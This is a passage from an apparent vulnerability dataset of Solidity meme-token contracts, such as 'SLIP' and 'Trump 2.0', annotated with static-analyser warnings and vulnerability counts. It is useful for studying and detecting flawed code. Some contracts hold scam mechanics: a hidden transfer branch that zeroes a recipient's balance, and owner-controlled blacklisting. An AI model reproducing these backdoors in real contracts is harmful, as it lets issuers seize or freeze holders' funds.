cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"X2.0\", unicode\"X2.0\", 9, 100000000000) {}\n}\n",
"file_name": "solidity_code_10018.sol",
"size_bytes": 7294,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 898922c): SLIP.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 898922c: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 479a692): SLIP.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 479a692: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b306c3b): SLIP.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for b306c3b: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 575831c): SLIP.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 575831c: Consider ordering multiplication before division.\ncontract SLIP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 711bf8f): SLIP._taxWallet should be immutable \n\t// Recommendation for 711bf8f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bca3aa): SLIP._initialBuyTax should be constant \n\t// Recommendation for 9bca3aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a3a130f): SLIP._initialSellTax should be constant \n\t// Recommendation for a3a130f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3eb55ec): SLIP._finalBuyTax should be constant \n\t// Recommendation for 3eb55ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 826bdb1): SLIP._finalSellTax should be constant \n\t// Recommendation for 826bdb1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18fe44d): SLIP._reduceBuyTaxAt should be constant \n\t// Recommendation for 18fe44d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a8f5f7c): SLIP._reduceSellTaxAt should be constant \n\t// Recommendation for a8f5f7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 906c044): SLIP._preventSwapBefore should be constant \n\t// Recommendation for 906c044: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1d313c): SLIP._transferTax should be constant \n\t// Recommendation for f1d313c: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Slippy Toad\";\n\n string private constant _symbol = unicode\"SLIP\";\n\n\t// divide-before-multiply | ID: b306c3b\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 479a692\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 969ab23): SLIP._taxSwapThreshold should be constant \n\t// Recommendation for 969ab23: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 575831c\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fcafa7): SLIP._maxTaxSwap should be constant \n\t// Recommendation for 3fcafa7: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 898922c\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 91dfa97): SLIP.uniswapV2Router should be immutable \n\t// Recommendation for 91dfa97: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a7b2d0e): SLIP.uniswapV2Pair should be immutable \n\t// Recommendation for a7b2d0e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7644605): SLIP.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7644605: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0xB4E64254687e28A660Ea5F74Ef3b20ec9bA059D9);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 7644605\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 50ad077): SLIP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 50ad077: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4e1830a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4e1830a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d3caa54): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d3caa54: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4e1830a\n\t\t// reentrancy-benign | ID: d3caa54\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4e1830a\n\t\t// reentrancy-benign | ID: d3caa54\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d986ded): SLIP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d986ded: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d3caa54\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4e1830a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c3e8d02): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c3e8d02: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a7e35b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a7e35b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c3e8d02\n\t\t\t\t// reentrancy-eth | ID: a7e35b9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c3e8d02\n\t\t\t\t\t// reentrancy-eth | ID: a7e35b9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a7e35b9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a7e35b9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a7e35b9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c3e8d02\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a7e35b9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a7e35b9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c3e8d02\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4e1830a\n\t\t// reentrancy-events | ID: c3e8d02\n\t\t// reentrancy-benign | ID: d3caa54\n\t\t// reentrancy-eth | ID: a7e35b9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4e1830a\n\t\t// reentrancy-events | ID: c3e8d02\n\t\t// reentrancy-eth | ID: a7e35b9\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5db4d6a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5db4d6a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7a5d372): SLIP.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7a5d372: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1d1393b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1d1393b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5db4d6a\n\t\t// unused-return | ID: 7a5d372\n\t\t// reentrancy-eth | ID: 1d1393b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5db4d6a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1d1393b\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10019.sol",
"size_bytes": 21907,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4f05d37): Trump2_0.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for 4f05d37: Consider ordering multiplication before division.\ncontract Trump2_0 is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bf85404): Trump2_0._taxWallet should be immutable \n\t// Recommendation for bf85404: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1fa78e): Trump2_0._initialBuyTax should be constant \n\t// Recommendation for f1fa78e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0eea4ac): Trump2_0._initialSellTax should be constant \n\t// Recommendation for 0eea4ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4300fb): Trump2_0._finalBuyTax should be constant \n\t// Recommendation for b4300fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7782658): Trump2_0._finalSellTax should be constant \n\t// Recommendation for 7782658: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39e1e8b): Trump2_0._reduceBuyTaxAt should be constant \n\t// Recommendation for 39e1e8b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7b4c58): Trump2_0._reduceSellTaxAt should be constant \n\t// Recommendation for e7b4c58: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 469bb3f): Trump2_0._preventSwapBefore should be constant \n\t// Recommendation for 469bb3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump 2.0\";\n\n string private constant _symbol = unicode\"TRUMP 2.0\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: b9c5ff5): Trump2_0._taxSwapThreshold should be constant \n\t// Recommendation for b9c5ff5: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4f05d37\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f70c8da): Trump2_0._maxTaxSwap should be immutable \n\t// Recommendation for f70c8da: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 4f05d37\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd87ab9): Trump2_0.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cd87ab9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e10d4fa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e10d4fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 604bddc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 604bddc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e10d4fa\n\t\t// reentrancy-benign | ID: 604bddc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e10d4fa\n\t\t// reentrancy-benign | ID: 604bddc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f5a2063): Trump2_0._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f5a2063: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 604bddc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e10d4fa\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6eb7e66): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6eb7e66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f926d04): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f926d04: Apply the check-effects-interactions pattern (see 